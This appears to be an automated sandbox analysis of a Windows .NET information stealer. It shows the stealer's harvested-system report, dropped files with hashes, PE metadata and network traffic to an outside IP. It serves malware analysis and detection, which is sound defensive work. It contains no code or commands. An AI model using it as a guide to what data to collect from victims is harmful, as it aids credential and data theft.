Preview:	. .. 8==3 - Report:.Date: 2024-04-16 6:06:27 pm.System: Windows 10 Pro (64 Bit).Username: user.CompName: 226533.Language: .... en-CH.Antivirus: Windows Defender... .. Hardware:.CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz.GPU: L8ZHDOKO.RAM: 4095MB.HWID: 6D97C624D7.Power: NoSystemBattery (1%).Screen: 1280x1024.. .. Network: .Gateway IP: 192.168.2.1.Internal IP: No network adapters with an IPv4 address in the system!.External IP: 81.181.57.52.BSSID: 00:50:56:a7:21:15.. .. Domains info:. . .. Banking services (No data). . .. Cryptocurrency services (No data). . .. Porn websites (No data).. .. Browsers:. . . History: 1. . .. Bookmarks: 5.. .. Software:.. .. Device:. . .. Windows product key. . .. Desktop screenshot.. .. Installation:. . .. Startup disabled. . .. Clipper not installed. . .. Keylogger not installed.. .. File Grabber:. . .. Database files: 11. . .

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\System\Windows.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	17162
Entropy (8bit):	5.5980131998105485
Encrypted:	false
SSDEEP:	48:e69xFnJ8n1bKzKdMyF585DeAFC7hFDu3oZu5x0KxPFeah3GFlYFwK6fBTM2KFM7N:YmIHKqRZX+92
MD5:	C539100EECE79957E97E49CAD2171A53
SHA1:	9439D5BEBC9A5C251F0EE4A55D40CCA71B20A260
SHA-256:	14B3F385E5E8BFCAD30A20B61D9A2674C56D3951CCD981AD5991EE7144A239AC
SHA-512:	374E1C5ED061067CB74C87457702EF700C856C7B7A8228259CC4702E86D3809C2C0C7A3E5A03E163AAF58DE0B7163C130E8EF84E3B3BE98AEE36748AAA74B820
Malicious:	false
Preview:	NAME: BUqNFfFMAmmyEpDDTqbeKcV..TITLE: New Tab - Google Chrome..PID: 6464..EXE: C:\Program Files (x86)\tGJgxPqFtRDSWnzTCslEhqvFzgSfLJoikMizPypo\BUqNFfFMAmmyEpDDTqbeKcV.exe..NAME: BUqNFfFMAmmyEpDDTqbeKcV..TITLE: New Tab - Google Chrome..PID: 1876..EXE: C:\Program Files (x86)\tGJgxPqFtRDSWnzTCslEhqvFzgSfLJoikMizPypo\BUqNFfFMAmmyEpDDTqbeKcV.exe..NAME: BUqNFfFMAmmyEpDDTqbeKcV..TITLE: New Tab - Google Chrome..PID: 4292..EXE: C:\Program Files (x86)\tGJgxPqFtRDSWnzTCslEhqvFzgSfLJoikMizPypo\BUqNFfFMAmmyEpDDTqbeKcV.exe..NAME: BUqNFfFMAmmyEpDDTqbeKcV..TITLE: New Tab - Google Chrome..PID: 1268..EXE: C:\Program Files (x86)\tGJgxPqFtRDSWnzTCslEhqvFzgSfLJoikMizPypo\BUqNFfFMAmmyEpDDTqbeKcV.exe..NAME: BUqNFfFMAmmyEpDDTqbeKcV..TITLE: New Tab - Google Chrome..PID: 2272..EXE: C:\Program Files (x86)\tGJgxPqFtRDSWnzTCslEhqvFzgSfLJoikMizPypo\BUqNFfFMAmmyEpDDTqbeKcV.exe..NAME: BUqNFfFMAmmyEpDDTqbeKcV..TITLE: New Tab - Google Chrome..PID: 6416..EXE: C:\Program Files (x86)\tGJgxPqFtRDSWnzTCslEhqvFzgSfLJoikMizPy

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 16 11:26:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9689112707388494
Encrypted:	false
SSDEEP:	48:8hdsTQUOHdlUidAKZdA19ehwiZUklqehEJy+3:84vp/y
MD5:	78FB0001027DE2BDA805BE1DB86DB239
SHA1:	0DC9640002D6DE94B03BD7787D2D2F2C3F00E40B
SHA-256:	219548EFB422EE56C63A14689098C3E8B5548ED4DF656CA779EEE33ADDA0D8C7
SHA-512:	11E59DF45747EEC2A3718876518DD397EDA05328A7362CA07A62428F1605809E9ABDD5B82160E217E8CE4404C86FE4B1FB95EC24B493C737136B7806006565A2
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......`....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X\c....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X\c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X\c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X\c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X`c...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............-......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 16 11:26:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9811510709022135
Encrypted:	false
SSDEEP:	48:8PdsTQUOHdlUidAKZdA1weh/iZUkAQkqeh1Jy+2:8qv79QKy
MD5:	39B946AFE796E7E6684CF7C13ECD5640
SHA1:	CB5CFF77673E05B4614E912CA09FA5C701256481
SHA-256:	E6823CAE7073882BD54EAF8EF96D1E50B27EF4A5271E3F9809D18AABA4A8A8E7
SHA-512:	5DA9DD11C777A4DE3F1805D52BBA254E4FE615E65C82622CD116B383429619396252D50826A95D00E2F4FFA9A48A61EA4849E6B61DEBF1823C03C88AC9724DFA
Malicious:	false
Preview:	L..................F.@.. ...$+.,....Dl.`....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X\c....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X\c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X\c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X\c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X`c...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............-......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.9954683546721323
Encrypted:	false
SSDEEP:	48:8x1dsTQUsHdlUidAKZdA14tseh7sFiZUkmgqeh7s/Jy+BX:8xEvdnDy
MD5:	01D7FC21C425A0D854E1DE6661C60CA5
SHA1:	0FB147A604C9D4861509B9EC428CDB7ED3291969
SHA-256:	44F87A82BF37D960F9C038C64072722762EDAE42D2D7A1D9BB4329524BFCF719
SHA-512:	7CFCB0153BA8D92806F6AA563EB4A915F92976F0C99DE6080E401F58C7DEF4463837B3E4222F097B23C07E023CBC636FC5F72ABAA8CF98C76F027AC79F88D3FE
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X\c....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X\c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X\c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X\c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............-......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 16 11:26:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9840314650302524
Encrypted:	false
SSDEEP:	48:8ddsTQUOHdlUidAKZdA1vehDiZUkwqeh5Jy+R:8cvYZy
MD5:	9E01467DDBD306FE082A55C800DB0485
SHA1:	3E4448D88688B4564ECB681A2D5E121D6F06B97C
SHA-256:	D502A28E9E74AEE8E7D47E1ECCDE0BC9EE5788828966C02E0D8F3BADB45CCF78
SHA-512:	C8D5BEC8E8662B943719993496229132A2E8A67B7700D79D8AAD64F09735285A22CBB3F0DB3A29F83A55C9DAE21E2AF2E19BD843D40D535E0759266D5692F435
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....;.`....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X\c....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X\c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X\c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X\c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X`c...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............-......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 16 11:26:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9713965345884423
Encrypted:	false
SSDEEP:	48:8AdsTQUOHdlUidAKZdA1hehBiZUk1W1qehbJy+C:83vI91y
MD5:	CD4E5D83201D0AEEF314781116D7C996
SHA1:	E96F94F6218361F708B468F3B0F10E38235E80AA
SHA-256:	B54B2A56B5A6339806165A5DB6D5022AC2B9D04461558C1B0744A17ABE7646D9
SHA-512:	F63231C07857631481112E2BB7EDBDB31FEBF82AA8889A33D06272EA834ABCF1651128FB6F0B059B5DB2238468E02F42DC807DE7D45F021F895F526332DADD5B
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......`....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X\c....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X\c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X\c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X\c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X`c...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............-......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 16 11:26:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.981925077581491
Encrypted:	false
SSDEEP:	48:8X3dsTQUOHdlUidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbhJy+yT+:8yvmT/TbxWOvTbDy7T
MD5:	5FA6C433BDF0C8DA725E24407C05486D
SHA1:	77D3874A73A6F9782F48A4458EBAFDEB162DE924
SHA-256:	4B02BE96FEF4CB18D31627CE3A908405BA0A2B8DFBD6560AEB3793C816B7F887
SHA-512:	1C1F42407D7325F85411BE49511DB226A8608FFC0BF4D3EEDFA58FB79F9EC6992A12E20D520326B030A408FF13AB58FB4E1A43A043C4B9B45A2A10BE4BDB71A4
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......`....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X\c....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X\c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X\c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X\c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X`c...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............-......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.235868714087531
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	HTZ4az17lj.exe
File size:	69'136 bytes
MD5:	ceb9e6829d00ad6e8f25b30d77aba83f
SHA1:	865128c3a9baee65deeab14f1fdc9a68969df6f4
SHA256:	664582c7357c0ea9f0f6ab524867e1cce887251b11e917ba5c9d81247e57bcb1
SHA512:	18703d353319cbd049dfe3d19469eef2ef26615e44101eca43d1c7da515553d2c98e8098e5d2cfbf1c32984d77846dec320223ea4b8189ca9f64d570e7ea0ca2
SSDEEP:	1536:j+wPW51r8EHsL71ELMt/RYKiq4vo/1oHHbwr/Ye2WcMX6F8:j+wIiEH+u4/O1HHbwse2SXE8
TLSH:	BA639D207FDA9118E1FBDE74DAE3756282BDE9531907B94648E2741A0E321C0ABC3D76
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....t.e.........."...0.................. .....@..... .......................@............`...@......@............... .....

File Icon


Icon Hash:	0733c9ccccc94307

Static PE Info

General

Entrypoint:	0x140000000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x65F17402 [Wed Mar 13 09:38:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x10000	0x2c0e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xdcf0	0xde00	1b8a4589840bbee97e57ab83182c5d38	False	0.6636577984234234	data	6.200437900563891	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x10000	0x2c0e	0x2e00	79b205bbdbd93f5b769e371d400ded5b	False	0.30765964673913043	data	4.948509204730363	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x10130	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.29896265560165974
RT_GROUP_ICON	0x126d8	0x14	data	1.15
RT_VERSION	0x126ec	0x336	data	0.4233576642335766
RT_MANIFEST	0x12a24	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 16, 2024 14:26:50.990777016 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:26:50.990878105 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:26:51.084481001 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:26:53.979269981 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:54.308166027 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:54.308294058 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:54.309864998 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:54.639451981 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:54.639800072 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:54.640976906 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:54.971018076 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:54.971038103 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:54.971576929 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:55.301116943 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.301131010 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.301139116 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.301146030 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.301156044 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.301163912 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.301511049 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:55.630625963 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.630640984 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.630645037 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.630649090 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.630655050 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.630659103 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.630836964 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.630886078 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.630923986 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.630990028 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.631191015 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:55.631287098 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.631297112 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.631364107 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:55.631383896 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.631474018 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:55.959554911 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:55.960361958 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.960416079 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.960449934 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:55.960938931 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:56.209821939 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:56.256489038 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:56.288573980 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:57.711249113 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.040633917 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250277042 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250469923 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250489950 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250500917 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250513077 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250608921 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250628948 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250643969 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250655890 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250667095 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.250663042 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.250663042 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.250663996 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.250751972 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.250752926 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.579380035 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579400063 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579411030 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579420090 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579430103 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579438925 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579448938 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579453945 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579463005 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579474926 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579483986 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579493999 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579504967 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579516888 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579529047 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579539061 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579550028 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579562902 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579574108 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579587936 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.579619884 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.579619884 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.579621077 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.579621077 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.579621077 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.579621077 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.579718113 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:58.908386946 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908423901 CEST	80	49704	128.199.113.162	192.168.2.5
